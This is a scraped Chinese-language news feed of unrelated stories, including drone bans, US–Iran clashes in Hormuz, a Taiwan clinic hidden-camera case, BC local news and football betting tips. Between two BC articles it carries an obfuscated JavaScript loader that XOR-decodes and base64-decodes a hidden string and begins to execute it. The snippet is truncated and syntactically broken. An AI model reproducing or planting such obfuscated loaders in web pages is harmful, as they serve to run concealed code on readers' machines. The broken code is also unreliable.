singtao_rtnews, sync
无人机新规实施 多地“飞手”被查受罚
内地无人机新规已于5月1日正式实施,北京全域禁飞禁售,全国多地空域管控同步收紧。浙江、贵州等地多名无人机爱好者反映,新规执行尺度严格,还会追溯过往飞行纪录。五一假期期间,不少“飞手”(无人机操作员)因违规升空被查,亦有民众携机乘坐进京的列车也遭拦截。
相关新闻:北京直击|京明禁飞禁售无人机 顾客赶购“尾班机” 库存售罄大疆提前下架
携机乘坐进京列车遭拦截
“我就飞了6分钟,高度102米,没想到还是被找上门”,上游新闻引述浙江杭州无人机爱好者余先生说,3月他曾在杭州西湖附近操控无人机,拍摄个人旅游帐号素材,飞行高度未超120米上限。然而五一新规实施后,前期飞行纪录被监管系统溯源,5月1日警员上门调查,他前往派出所说明情况并报备。
贵州网友小兵(化名)则在携机乘火车时被拦。5月5日,他从六盘水前往贵阳,因车票紧张“坐近买远”购入终点站为北京西的火车票,过安检时被工作人员查出携带无人机。“他们说进京列车禁止携带无人机,哪怕我只到贵阳也不行”,小兵忆述,工作人员要求其将无人机快递邮寄或直接退票改期。
5月1日起,无人机两项国家强制性标准正式实施,“实名登记、空域查询、限高120米”成为无人机飞行硬性要求。与此同时,北京全市被划为无人机管制空域,所有室外飞行须事先申报审批;当地禁止销售及出租无人机与核心零件,外地人士亦不得携带、运输相关器材进京。
伊朗局势 | 1500商船受困波斯湾 传美寻求重启“自由计划”护航行动
联合国国际海事组织(IMO)表示,约有1500艘船只及2万船员因伊朗封锁霍尔木兹海峡被困在波斯湾。据《华尔街日报》周四(7日)引述美国和沙特阿拉伯官员透露,沙特和科威特已解除此前针对美军使用其基地及领空所实施的限制,美国政府正寻求重启疏导霍尔木兹海峡被困船只通行的“自由计划”行动。
针对商船攻击逾30次 酿10船员亡
以色列与美国于2月28日对伊朗发动的中东战争,引发德黑兰在整个地区的报复行动,并在霍尔木兹实施航运封锁。霍尔木兹是全球重要的贸易路线,IMO秘书长多明格斯证实,目前约有2万名船员和约1500艘船只被困。
美国军舰进行针对伊朗的海上封锁行动。法新社
传美国政府正寻求重启疏导霍尔木兹海峡被困船只通行的“自由计划”行动。法新社
多明格斯表示,海运运输全球超过80%的总消费品,这些被困的机组人员“是无辜的人,每天为其他国家的利益工作”,但“却被无法控制的地缘政治局势困住”,“在超过30次针对船只的攻击中,已有10名船员丧生”。
传沙特解除限制 最快本周恢复护航行动
而《华尔街日报》报道,在美国和沙特领导人通话后,美军在沙特的驻扎及飞越权已获恢复。目前尚不清楚重启“自由计划”的具体时间,不过五角大楼官员表示,最早可能就在本周。
报道还说,美军“自由计划”行动依赖于庞大的机群来保护商船,因此沙特和科威特的军事基地及领空对于该行动的顺利实施至关重要。
本周一(4日),美国总统特朗普宣布展开海军行动,护送被困船只并强制开放霍尔木兹海峡,但随后不久宣布取消有关行动。事缘沙特通知美国,不允许美军飞机从沙特空军基地起飞,也不允许美军飞越沙特领空来支持“自由计划”行动。
台湾医美集团被揭偷拍 10分店即拆主机疑毁证
台湾最大医学美容集团“爱尔丽”被指旗下多间诊所安装偷拍针孔相机,引起关注。集团负责人常如山被扣查,近百名苦主组成“自救会”联合索偿。爱尔丽昨发布声明向公众致歉,宣布相关疗程全面退费,并承诺配合司法调查,妥善处理后续事宜。爱尔丽代言人、台湾女星谢金燕已表态,要求爱尔丽全面停止使用其肖像及名义宣传;男星林志颖也强调与爱尔丽合作关系已结束。
事缘一名女子到爱尔丽板桥店接受治疗时,在诊疗间更衣过程中,发现天花板角落不明装置疑似藏有摄影镜头。诊所人员当时称该设备为烟雾侦测器,女子报警后,警方到场拆开确认装置内有摄像头,随即往“妨害秘密”等方向展开侦办。
检方与警方前日搜索爱尔丽新北板桥、新庄、林口、永和等4间分店,并带走常如山、张姓助理及谢姓厂商负责人。谢姓负责人疑似在案发后接受指示,沿途拆卸10间分店的监视器主机并删除资料,怀疑企图灭证。
驻京观察:世杯转播若谈崩 球迷不惋惜
2026年美加墨世界杯还有不到5周即打响,这场全球顶级足球盛会的中国内地转播权谈判却陷入僵局。国际足协向央视开出2.5亿至3亿美元的天价初始报价,即使在拉锯谈判后降至1.2亿至1.5亿美元,仍远超央视6000万至8000万美元的预算。令人意外的是,不同于以往全民期待转播的盛况,此次广大中国球迷一边倒力挺央视的强硬态度,“不买也无妨”成为网络主流声音。
“比赛时间对我们中登(中年群体的戏谑称呼)太不友好了,人到中年,哪里还熬得住?”本届世界杯70%赛事安排在北京时间凌晨2时至上午9时,直接劝退了大批中年资深球迷。自高中起追看世界杯直播的老宋对笔者坦言,“年轻时看球热血满满,熬完通宵接着照常上学上班,顶多犯困打打瞌睡;现在房贷、工作、家庭压力压一身,加上身体素质下降,最怕熬夜伤身,突发猝死”。
传央视拒世界杯2026天价转播权。 路透社资料图
新生代年轻群体则褪去了对世界杯直播的热情。“00后”理工科研究生岳岳笑称,看球早已脱离了年轻人主流休闲清单,“我和我的室友们会更愿意通宵打电竞”。
国足长期缺席世界杯,是大众对赛事情感疏离的核心因素。2002年韩日世界杯,中国队首次闯入决赛圈,一度掀起全民观赛热潮,甚至上演万人空巷。如今国足连续多届无缘正赛,国内球迷对世界杯的情感依赖持续淡化。本届世界杯扩军至48支球队,也拉低了赛事观赏性。网友吐槽,扩军后小组赛涌入大量实力偏弱的冷门球队,“难道凌晨3时起来看库拉索对佛得角?”
与此同时,本土民间足球赛事的火爆,分流了大众观赛热情。近年“苏超”“村超”吸引数万观众现场观赛,球员多是身边普通人,这份纯粹与真实击中了球迷的心。不少人称:“在电视看外国人踢球,不如看邻居和隔壁市的人踢。”
杨浚源
恐怖父亲|印度9岁女童偷改成绩表 遭躁爸电锯割喉惨死 更烧屋灭证
印度发生一宗骇人听闻的伦常惨剧,马哈拉施特拉邦(Maharashtra)浦那(Pune)一名33岁男子因不满9岁女儿私自窜改成绩单排名,竟狠心以电锯割断其喉咙,令其当场惨死。为掩饰罪行,男子更放火烧屋,冷血地将现场伪装成意外火灾,最终被警方识破拘捕。
不想排名输继兄 偷改成绩单惹杀机
据《印度快报》及《新德里电视台》报道,案发于德乌尔冈拉杰村(Deulgaon Raje)。33岁疑犯夏万(Shantaram Chavan)与伴侣博恩斯莱(Chinki Bhonsle)共同生活。案发前,夏万的小学三年级女儿因不甘被夺得全班第一名的四年级继兄嘲讽,私下窜改两人的成绩单,将自己改为第一名,并把哥哥改为第二名。
马哈拉施特拉邦(Maharashtra)浦那(Pune)一名33岁男子因不满9岁女儿私自窜改成绩单排名,竟狠心以电锯割断其喉咙,令其当场惨死。Alamy 示意图
案发后夏万更在现场“戏精上身”,向邻里哭喊这是一场意外。X@HateDetectors X
夏万发现女儿撒谎及篡改成绩后勃然大怒,于周一(4日)傍晚持电锯(木材切割机)残忍割开女儿喉咙,导致其当场惨死。Alamy示意图
夏万发现女儿撒谎及篡改成绩后勃然大怒,于周一(4日)傍晚持电锯(木材切割机)残忍割开女儿喉咙,导致其当场惨死。
烧屋灭证演戏“哭丧” 警方深入调查揭真相
夏万杀害女儿后,随即展开灭证行动。他先以印度传统服饰“纱丽”(Sari)包裹女儿尸体,随后点火焚烧自家房屋,企图伪装成死者受困火场意外。案发后夏万更在现场“戏精上身”,向邻里哭喊这是一场意外。
然而,当地警方到场调查后发现火灾疑点重重,最终揭破案件,随即将夏万及博恩斯莱拘捕。博恩斯莱被控协助湮灭证据及蓄意隐瞒案情。
警方在焦黑的废墟中寻获死者被部分烧毁的遗体,由于损毁严重,已送往医院进行检测以确认身分。
父亲及合伙人同被捕
据报,警方正进一步调查夏万与死者是否有血缘关系,以及其作案的详细心理动机。
两年轻小伙穿短裤球鞋卑诗健行 受困山上积雪拨911求助
【星岛综合报道】两名健行者穿着短裤和跑鞋试图一天走完大温近郊这条步道,却低估当地高山地区积雪依然很厚,惨遭困住,只好于周三晚间寻求救援后获救。
两名健行者攀爬的豪湾山脊步道(Howe Sound Crest Trail),是一条从赛普雷斯山(Cypress Mountain)山脚到波特奥湾(Porteau Cove)的30公里健行路线。
狮子湾搜救队(Lions Bay Search and Rescue)经理马西亚(Maria Masiar)说:“显然,穿着跑鞋和短裤,再加上冰爪,根本无法应付那里的恶劣天气,那里仍然是典型的冬季地形。”
这两名年轻人于周三下午拨打911求助。由于恶劣天气导致直升机无法出动,地面救援队于晚上7时出发前往营救受困的健行者。救援人员发现两名健行者裹着一条单层毯子瑟瑟发抖,营救工作持续了一整夜,充满挑战。
马西亚说:“这是一次真正英勇、艰辛、需要绳索救援的山区救援行动。”
周四早上,救援人员和徒步旅行者返回了狮子湾。
“他们欣喜若狂。”马西亚说:“他们非常高兴能够平安脱险。显然,他们的家人也为儿子们的归来感到无比欣喜。他们俩都非常幸运。我想他们以后可能会重新考虑调整旅行计划。”
5月初异常温暖的天气让一些野外健行爱好者误以为积雪已经融化了。
“这已经是我们本周接到的第4通求助电话了,都是关于有人穿着跑鞋尝试攀登布伦瑞克山步道(Mount Brunswick Trail)或狮子步道(The Lions Trail)这类大型步道,而跑鞋根本不适合那里的地形。”马西亚说。
卑诗省探险安全协会(BC Adventure Smart)的里奇斯(Sandra Riches)说:“高海拔地区的情况仍然变化莫测,健行者和越野跑者会遇到积雪、塌陷坑、湍急的溪流、湿滑的地形、崎岖的地形以及变幻莫测的天气。”
由于豪湾山脊步道上救援事件频发,探险安全协会制作了一段视频,向徒步旅行者展示如何为这段充满挑战的旅程做好充分准备。
他们的建议是等到7月再考虑尝试这条健行路线。如果路况变得艰难,就立刻折返。
(图:加通社/Lions Bay Search and Rescue)
V11
美伊交火 | 美反击伊朗军事设施 报复3驱逐舰遇袭 特朗普:停火协议仍有效
美伊再度交火,美军中央司令部周四(7日)发声明指,美军3艘导弹驱逐舰当天穿越霍尔木兹海峡前往阿曼湾时,遭到伊朗袭击,美军随即反击,摧毁来袭目标,并打击对美军发动攻击的伊朗军事设施。美国总统特朗普随后在其社交平台ruth Social发文表示,这3艘导弹驱逐舰已成功驶出霍尔木兹海峡,重新加入美军的海上封锁行动。特朗普还威胁称,如果伊朗不迅速签署协议,美方将以“更猛烈、更暴力”的方式击溃他们。但特朗普同时强调,美伊停火协议依然有效,美军打击伊朗设施只是“小小警告”。
美强调没军舰遭击中
美军中央司令部指,当特鲁斯顿号(USS Truxtun)、佩拉塔号(USS Rafael Peralta)以及梅森号(USS Mason)通过霍尔木兹海峡时,伊朗部队除发射多枚导弹,并出动无人机和多艘小型快艇,但美方没有任何舰艇或装备被击中。
特朗普催伊朗尽快签协议。美联社
美军袭击伊朗军事设施。法新社
美军航母“布殊号”。法新社
伊朗武装部队哈塔姆安比亚中央总部发言人表示,由于美国违反停火协议,袭击伊朗油轮和另一艘进入霍尔木兹海峡的船只,伊朗武装力量周四晚打击了霍尔木兹海峡以东的美国军舰。
伊朗武装部队:报复伊朗油轮遇袭
发言人指美军袭击了一艘从伊朗贾斯克地区沿海驶往霍尔木兹海峡的伊朗油轮,以及另一艘经阿联酋富查伊拉港附近水域进入霍尔木兹海峡的船只。与此同时,美方还与“一些国家合作”,对哈米尔、锡里克和格什姆岛沿岸的平民区发动空袭。
伊朗革命卫队海军指,3艘美军驱逐舰在遭到伊朗反舰弹道导弹、巡航导弹以及无人机打击后受损,迅速撤离霍尔木兹海峡附近海域。
根据美军中央司令部的说法,美军随即反击伊朗设施,当中包括“导弹与无人机发射场所、指挥与管制地点,以及情报、监视和侦察节点”。
中央司令部强调,美方无意升级局势,但已部署并准备好保护美军部队安全。
特朗普催伊朗尽快签协议
特朗普随后在其社交平台Truth Social发文,证实3艘美国驱逐舰在霍尔木兹海峡遭到伊朗袭击。
特朗普称,这3艘军舰没有受损,并已成功驶出霍尔木兹海峡,但伊朗方面“遭受重创”,伊朗用来攻击的众多小型船只、导弹和无人机都被摧毁。他威胁称:“伊朗如不尽快签署协议”,美方将以更猛烈、更暴力的手段击溃他们!”
他又在接受美国媒体采访时称:“停火还在继续,仍然有效,这只是一个小小警告”。
伊朗:经历数小时交火 局势已恢复正常
据伊朗迈赫尔通讯社报道,周五凌晨,以色列和美国对霍尔木兹甘省米纳卜市的一处海军基地发动袭击,目前尚无人员伤亡报告。
报道指,伊朗阿巴斯港附近发生爆炸,在伊朗武装力量与敌方交火过程中,附近码头地区的部分商业设施被击中。
伊朗新闻电视台随后报道,在经历数小时交火后,霍尔木兹海峡沿线伊朗岛屿及沿海城市局势已恢复正常。
美跨党派国会代表团访京 李强重申台湾红线不可逾越
被视为特朗普盟友的美国参议员戴安斯昨率跨党派代表团访京,获高规格接待,分别同国务院总理李强、全国人大委员长赵乐际,及外长王毅会面。李强重申台湾问题是中美关系第一条不可逾越的红线,吁美国国会谨慎处理涉华问题。
64岁的戴安斯5月1日起率领由5名议员组成的两党代表团访华,行程包括上海和北京。新华社报道,李强在会晤中,除了提到台湾问题,也希望美方与中方相向而行,更多对话而不是对抗,更多互利合作而不是零和博弈。
国务院总理李强在北京会见美国国会参议员戴安斯(左)。 路透社
相关新闻:习特会|AI风险管控拟纳议题 传美财长牵头建立定期对话机制
赵乐际在会面中提到,全国人大愿同美国国会加强交往,实现更多交流和互访。美方参议员此访有助于促进中美接触交往和两国立法机构对话交流。中方希望美方客观理性看待中国和中国的发展,也欢迎更多美国议员来中国参访。
王毅在会面中强调,中国不会走国强必霸的老路,将坚持和平发展,也呼吁美国客观看待中国,树立理性对华认知,切实尊重中国核心利益,妥善管控分歧。
戴安斯:我们需要稳定
对于中美关系,路透社引述戴安斯说:“我坚信,我们希望的是降温局势,而不是脱钩。我们需要稳定,也需要相互尊重。”他还说,希望美中两国元首会晤能够促成美国波音飞机定单,并指出双方仍面临贸易问题。
【有声访问 / A1电台YouTube频道】卡尼借250亿创办主权基金 国家级理财新工具会成功吗 ?
新闻节目《 时事焦点》: 卡尼借250亿创办主权基金 国家级理财新工具会成功吗 ?
A1中文电台《时事焦点》新闻主持 :#张令陶
受访嘉宾:前央行经济师 Terence Yuen 袁国雄
播出时间:2026年5月4日
链结:A1中文电台YouTube频道
https://www.youtube.com/watch?v=D6J3wouoX9g
内容提要:
加拿大总理卡尼提出成立Canada Strong Fund,作为联邦政府首个类似主权财富基金的投资工具,初步由政府注资250亿加元,目标投资能源、关键矿产、基建、农业、通讯等战略项目。
政府形容这是加拿大经济主权的新工具,既要减少对美国的依赖,也希望带动私人资本投资加拿大未来。
不过,这个基金并非传统意义上的主权基金,因为加拿大联邦政府目前并非财政盈余,而是面对不小赤字。资金来源更可能涉及政府借贷,因此外界质疑这究竟是“财富基金”,还是“债务基金”。
今集《时事焦点》邀请前央行经济师Terence Yuen深入分析:
Canada Strong Fund与新加坡淡马锡、阿布扎比Mubadala有何相似与不同?
250亿加元是否足够推动加拿大大规模基建与产业发展?
基金采用独立董事局及arm’s length架构,能否避免政党政治干预?
节目亦会讨论阿尔伯塔、萨省等资源省份的利益角力,以及未来开放给普通加拿大人投资时,应留意哪些风险、锁定期与回报保障…………
习特会|AI风险管控拟纳议题 传美财长牵头建立定期对话机制
美国总统特朗普拟下周访华与国家主席习近平会晤。美媒报道,人工智能(AI)或纳入习特会议题,美方正考虑同中方启动有关人工智能的官方对话,讨论AI模型失控、自主军事系统、AI攻击等风险。2023年,习近平与拜登的会晤也曾触及AI话题,分析指出,如今AI再度被提升至元首层级讨论,且跨越美国两届不同政府,反映双方意识到AI安全问题的重要性。
美国《华尔街日报》引述知情人士称,为降低风险,避免误判,美中正考虑将AI议题列入中美峰会议程。据称,美中目前构想的是建立定期对话机制,讨论AI模型失控、自主军事系统,以及“非国家行为者”利用强大开源工具发动攻击等风险。
美国财长贝森特。 美联社
美方正等待北京指定对口官员
知悉美方立场的人士透露,美国财长贝森特目前主导AI议题谈判,美方正等待北京指定对口官员。接近中方人士则称,中国财政部副部长廖岷已参与同美方讨论设立这类对话的事宜。中国驻美大使馆发言人刘鹏宇回应表示,中方准备就AI风险管控展开沟通。
特朗普称期待本月与习近平会面。 路透社资料图
这并非中美官方首次讨论AI。2023年11月的三藩市中美峰会上,习近平与时任美国总统拜登会晤,同意建立AI政府间对话机制。2024年的亚太经合组织(APEC)秘鲁峰会上,白宫曾发表声明称,中美元首一致认为,核武使用决策权应由人类掌握而非AI。报道引述刚与中国副总理何立峰会面的美国贸易专家薄迈伦说,中方愿与美方讨论AI安全。他引述中方说:“我们当然会全力与美国竞争,但我们也看见防止全球冲击与网路滥用的重要性,因此愿意就安全协议、技术防护与治理展开对话,只要美国政府愿意。”
白宫宣布特朗普将于本月14日至15日访华,但中方至今未证实。被问到中美元首会晤期间会否讨论AI,外交部发言人林剑昨回应说:“中美双方就特朗普总统访华事宜保持着沟通。关于你提到的具体问题,我目前没有可以提供的讯息。”
有分析指台湾问题是中方在习特会的首要关切议题,林剑回应说,台湾问题是中美关系政治基础中的基础,恪守一个中国原则和中美三个联合公报、恪守美国历届政府在台湾问题上所作承诺,是美方应尽的国际义务,也是中美关系稳定、健康、可持续发展的必要前提。
警突袭大温非法赌场逮11人 起获霰弹枪及数万元现金
【星岛综合报道】卑诗省反黑帮警察周四(7日)表示,在大温哥华地区突袭一处疑似非法赌场后,11人被捕,警方缴获了车辆、数万元现金,及一支装有消音器的霰弹枪。
卑诗整合特别执法小组 (CFSEU-BC) 称,警方于4月29日在枫树岭、素里和高贵林等地执行了多项搜查令。
这次突袭行动是去年11月开始的一项调查的最终结果,该调查针对的是枫树岭一处疑似非法赌场。警方表示,所有被捕人员均已获释,等待指控评估程序完成。
在搜查过程中,调查人员缴获了超过3.4万元的现金及3辆汽车,分别是2012年道奇Caravan、2017年路虎揽胜(Range Rover)及2024年本田CRV。
警方还查获了与赌博相关的设备,包括扑克桌、赌场筹码、扑克牌和账簿。
CFSEU-BC周四发表声明称,该机构与省独立博彩管理局合作,对被捕的6人实施了赌场禁令,这些禁令已于4月30日生效。
警官桑哈(Sarbjit K. Sangha)在声明中表示:“非法赌场并非无害场所——它们通常与有组织犯罪有关,并对公共安全构成重大威胁。”
“这些场所可能成为暴力、剥削和其他犯罪活动的中心,危及顾客和周边社区的安全。”
(图:CFSEU-BC)
V11
法甲|地头赢到开巷 朗斯让球“特”笋
朗斯 VS 南特Now643台周六凌晨2:45直播推介:让球 主胜
法甲次席朗斯近14场主场赛事豪取13胜,战绩彪炳。阵中左翼卫马菲奥乌度今季展现极强的助攻力,在法甲上阵31场交出7次助攻,频频创造黄金机会。面对作客疲弱兼防守欠稳的南特,朗斯绝对有力大胜一场,推介让球盘主让一球/球半“主胜”。
朗斯现居法甲次席,仅落后榜首巴黎圣日耳门6分。尽管近4场联赛有3仗失分,表现略见反复,但球队主场威力极恐怖,朗斯主场成绩比巴黎圣日耳门更佳,15场联赛录13胜,胜率惊人,场均入球逾2球。今仗赢波即保欧联席位,战意十足。
此外,朗斯左翼卫马菲奥乌度在31场联赛贡献7次助攻及1个入球,合共创造22次黄金机会更是全队最多,出色的传中为前线输送弹药,领军大胜在望。
排第17位的南特深陷降班危机,今季至今作客仅录得两胜,近5场作客录2和3负,合共只入1球,今仗造访朗斯的地狱主场实在难逃大败兼难以破蛋。马高
震惊各界的校园枪案现场 图布勒岭中学将拆除重建
【星岛综合报道】卑诗省省长尹大卫(David Eby)周四在省议会外宣布,位于卑诗省东北部的图布勒岭中学(Tumbler Ridge Secondary School)将被拆除并重建,学生不需要面对曾发生枪击案的学校。
尹大卫表示,省府“承诺会尽快完成新校建设”,并指出社区的意见十分明确,希望在新址兴建全新的校舍。
他说:“学区教育局之前所做的工作非常重要,因为我们希望能以正确的方式,回应幸存者、受害者家属以及图布勒岭居民的需要。这件事必须由社区主导。”
今年2月10日,18岁的枪手范鲁茨勒(Jesse Van Rootselaar)先在家中枪杀母亲及同母异父弟弟,其后前往学校,再枪杀5名学生及1名教育工作者,并造成多人受伤。枪手其后自戕身亡。
警方目前对案件的调查已进入最后阶段。
图布勒岭中学约有160名7至12年级学生。尹大卫在案发后曾承诺,不会强迫任何学生返回原校舍上课。
目前,学生已转到当地小学校园内设置的临时组合教室复课。
尹大卫表示,当地教育局将与社区及专家合作,为新校制定初步设计方案,并希望能在今年年底前向社区提交相关计划。
卑诗省教育厅长毕丽莎(Lisa Beare)指出:“纳入受害者及社区的声音至关重要。”
省府目前尚未公布新校工程的预算金额。尹大卫表示,省府将与联邦政府合作分担费用,包括新校设计与建设,以及旧校舍拆除与土地修复工程。
他形容这是卑诗省的一项“特殊工程”,并指出社会各界对图布勒岭展现出高度支持。
他说:“无论是全省民众、承包商、建筑业界,还是未来参与工程的人员,大家都非常愿意帮助图布勒岭。我相信,我们能迅速集合各方力量,尽快为当地孩子建成新校。”
相关新闻:【一文读懂】卑诗10死25伤校园枪击案++穿连身裙枪手行凶后当场自杀
相关新闻:【卑诗校园枪案】图布勒岭受害者及家属提告OpenAI索偿逾10亿美元
v01(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=;
var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new...
卑诗扩大助产士执业范围包括终止妊娠服务
【星岛讯】卑诗省府周四(7日)宣布扩大助产士执业范围,省民可更容易获得由助产士提供的终止妊娠护理、持续孕期护理,以及其他生殖健康服务。
卫生厅长奥祖宜 (Josie Osborne,上图) 说:“在生殖健康服务面对挑战之际,我们正采取行动,在卑诗省保护并维护生殖健康。这些执业范围变更措施,将有助公众在住所附近更容易获得安全、具同理心及适时的终止妊娠服务,同时加强孕期护理。作为一名农村地区居民,我深知这些改变对服务有限社区的居民极为重要。这些措施将有助消除障碍,并支援更多人获得所需的各项护理服务。”
助产士的执业范围相关变动生效后将可:
处方Mifegymiso,用于治疗早期流产,或在妊娠首3个月内提供安全的药物终止妊娠服务。
处方Levothyroxine,用于管理甲状腺功能减退。
处方Cabergoline,用于抑制泌乳,即分娩后停止乳汁分泌。
因应更多产科需要进行超声波检查,例如在怀孕早期确定胎儿位置。
性别平等议会秘书白芯丽 (Jennifer Blatherwick,下图) 说:“助产士为全省家庭提供个人化及全面的护理服务,其中许多助产士专门支援服务不足及边缘化社区的居民。扩大助产士的执业范围,将有助促进健康怀孕,并让社区居民更容易获得必要、文化安全的生殖健康护理,尤其是在服务可能有限的地区。”
助产士是孕期护理方面的专业人员。这些执业范围变更措施,将让助产士进一步运用其专业训练,为有不同需要的人士提供更全面、具同理心的支援。这将有助改善护理成效,让怀孕人士及其家庭在怀孕期间、分娩及产后,获得更切合个人需要的护理。
根据省府发布资料表示,在加拿大,目前只有另外两个省份 ── 魁省及沙省授权助产士独立管理并处方Mifegymiso作药物终止妊娠之用。这项改变将特别惠及居于农村及偏远社区的人士,因为他们往往需要长途跋涉才能获得生殖健康护理。透过容许助产士处方Mifegymiso,省府正改善由助产士提供的终止妊娠护理,并扩大省民在住所附近获得安全、保密及适时服务的机会。
这些新变更建基于助产士执业范围的其他扩展措施。有关措施已于2026年4月1日与《医护专业与职业法》(Health Professions and Occupations Act) 同时生效。助产士现可为有需要人士在人生任何阶段,置入铜制子宫环,并提供其他避孕服务,包括荷尔蒙避孕药。这有助减少障碍,让省民更容易适时获得生殖健康护理,并支持生殖自主。过去,助产士只可为产后3个月内的人士提供避孕服务。由2026年4月1日起,具备适当认证的助产士亦可:
使用所有引产 (induce labour) 方法,提供与医生相若的引产服务
使用超声波检查婴儿出生前的胎向及位置。在此之前,助产士已可使用超声波监测胎儿心率
省民将可在生殖健康护理需要的任何阶段,从助产士获得终止妊娠护理及避孕服务。
扩大助产士职能的下一步
这些执业范围变更,是省府于3月与卑诗护士与助产士学会 (BCCNM) 进行咨询后的成果。相关咨询旨在扩大并加强公众获得护理的途径。省府目前正与BCCNM合作,加快修订规例,务求有关变更能尽快生效。
BCCNM行政总裁兼注册主任Natasha Prodan-Bhalla博士说:“扩大助产士的执业范围,将有助卑诗省各地家庭获得适时、稳定及以人为本的护理,包括服务不足社区的家庭。作为监管机构,BCCNM担当关键角色,确保新增职能安全落实,并符合公众利益。我们期待与合作伙伴及助产士携手合作,把这些变更纳入助产实务,让孕产护理系统更能配合公众的需要。”
待规例修订完成并在实施之前,BCCNM将制定执业标准,并会与卑诗大学合作,安排助产士接受可能需要的任何额外培训。
省府表示这项宣布是履行承诺的一部分,旨在改善孕产服务、维护与支持生殖自主,并加强卑诗省公共、全民医疗护理系统。这些措施建基于省府的持续投资,旨在确保妇女及多元性别人士在人生每个阶段,都能获得具同理心、公平及全面的护理。
(图:省府提供)
V02
四川猴遭无品男恶意推袭险坠悬崖 网民:企图谋杀︱有片
四川峨眉山景区发生企图谋杀马骝事件,1只猴子坐在悬崖边栏杆安静吃橙时,突遭一名男游客双手力推,猴子险些摔落山崖。事件引发关注。周四(7日),峨眉山风景名胜区管理委员会发布情况通报称,已找到该男子并将其列入“不文明游客黑名单”,3年内禁止进入峨眉山景区。
网民:终身禁入AAAA景区
男子的突袭,吓得原本专心进食的猴子大叫,幸猴子被推出栏杆瞬间,即伸出双手凌空抓着栏杆边缘,稳住身体未有跌落山。
猴子免于一死后,立即沿栏杆逃走,而恶意推“大圣爷”的眼镜男,则一脸得意,嘻皮笑脸地从马骝旁边闪开。
四川有游客恶意推袭险令猴子跌落悬崖,引起网络公愤。抖音
四川有游客恶意推袭险令猴子跌落悬崖,引起网络公愤。抖音
四川有游客恶意推袭险令猴子跌落悬崖,引起网络公愤。抖音
四川有游客恶意推袭险令猴子跌落悬崖,引起网络公愤。抖音
四川有游客恶意推袭险令猴子跌落悬崖,引起网络公愤。抖音
四川有游客恶意推袭险令猴子跌落悬崖,引起网络公愤。抖音
四川有游客恶意推袭险令猴子跌落悬崖,引起网络公愤。抖音
拍摄者指,不耻恶意图推猴子的行为,已向景区人员投诉,但据知涉事男子已离开景区。
景区表示,林业及公安部门,已经启动调查,将依法追究涉案者责任。
四川方策律师事务所郭刚律师向封面新闻表示,该男子的行为完全是一种非理性之举,若造成猴子摔下悬崖死亡,则是一种杀害野生动物的违法行为。
德甲|多蒙特火力猛 入球大有办“法”
多蒙特 VS 法兰克福Now 621台周二凌晨3:00直播推介:入球大细 大
多蒙特今晚德甲主场迎战法兰克福,蜜蜂兵团今季攻力强横,联赛已累积攻入65球,近期主场更是火力全开,曾以4:0大炒弗赖堡及缅恩斯,加上多蒙特在主场对法兰克福的往绩更以55战39胜占优。阵中中场麦斯比亚近期状态大勇,其复出大幅加强了球队推进力。预计今仗双方将上演入球大战,推介入球大细3.5球“大”。
高踞德甲次席的多蒙特主场保持传统强势,今季录16战12胜2和2负的佳绩。进攻方面,蜜蜂兵团在联赛已轰入65球,整体火力仅次于榜首的拜仁慕尼黑,而近期在主场入球能力更惊人,曾分别以4:0大炒弗赖堡及缅恩斯。对赛往绩上多蒙特同样食住对手,历来113次交手取得55胜,单计主场55次更赢下39次。由于蜜蜂兵团已提早锁定来届欧联参赛资格,今仗毫无压力下绝对可放胆尽情进攻,以入球骚回馈主场球迷。
多蒙特能够在季尾保持强大火力,中场猛将麦斯比亚的复苏与爆发绝对是关键所在。这位中场球员在加盟初期曾一度陷入低潮,首14场上阵仅得一个入球及一次助攻,但在主帅尼高高华的悉心调教下,他成功转型为球队核心创造者,今季30场联赛已累积9入球及4助攻。这名德国新星大幅加强了球队中前场推进力,在大胜弗赖堡一役他取得入球并当选全场最佳;3月击败科隆亦交出入球与助攻。麦斯比亚的突破推进,流畅的攻守转换,能持续为前线创造大量机会,势必成为今仗对手最危险人物。
法兰克福攻强守弱
作客的法兰克福近期状态低迷,近12场作客仅获一胜,早前亦以1:2不敌汉堡,面对强势的多蒙特恐难保清白之身。不过,法兰克福前线依然保持积极进攻态度,在双方皆放胆对攻的格局下,今仗势必合演一场精彩入球骚,推介入球大细3.5球的“大”。马高
卑诗大学遭受网络攻击 校方警告学生更改密码
【星岛综合报道】卑诗大学(UBC)向学生发出警告,称其平台疑似遭受网络攻击。
卑诗大学用于发布课程内容的主要学习平台Canvas似乎是攻击的目标。
校方在Instagram限时动态中表示,由于Canvas的供应商Instructure遭遇网络攻击,Canvas平台目前“无法使用”。
卑诗大学表示:“在另行通知之前,所有成员请勿登入Canvas。”
该校也告知已登入的学生“立即”登出并更改CWL密码。
警告最初于下午1时30分左右发布在UBC的IT页面上。IT团队要求中午12时后登入的学生联系security@ubc.ca,并表示“一旦有更多更新消息将立即发布”。
(图:加通社资料图片)
V11
关税战|美法院裁定特朗普10%全球关税无效 批全面加征缺法理依据
美国贸易政策再度陷入法律争议。美国贸易法院周四(7日)作出重大裁决,判定总统特朗普早前实施的10%全球关税措施不成立,指其全面加征关税的做法缺乏法理依据。
绕道立法再遭挫败 行政权限被指越界
此次争议源于特朗普政府对关税权限的法律援引。今年2月20日,美国最高法院已先裁定,特朗普政府依据《国际紧急经济权力法》实施的大规模关税措施缺乏明确法律授权。裁决公布当天,特朗普随即转而依据《1974年贸易法》第122条,宣布对全球所有国家和地区的进口商品加征10%关税,期限为150天。
然而,贸易法院法官在最新判决中明确指出,特朗普政府以“一体适用”的方式对全球商品课税,并未能提出足够的法律支撑。法院认为,此举已明显超出行政权限范围,因此相关措施在法理上站不住脚。
贸易政策再掀波澜 150天限期关税或化为乌有
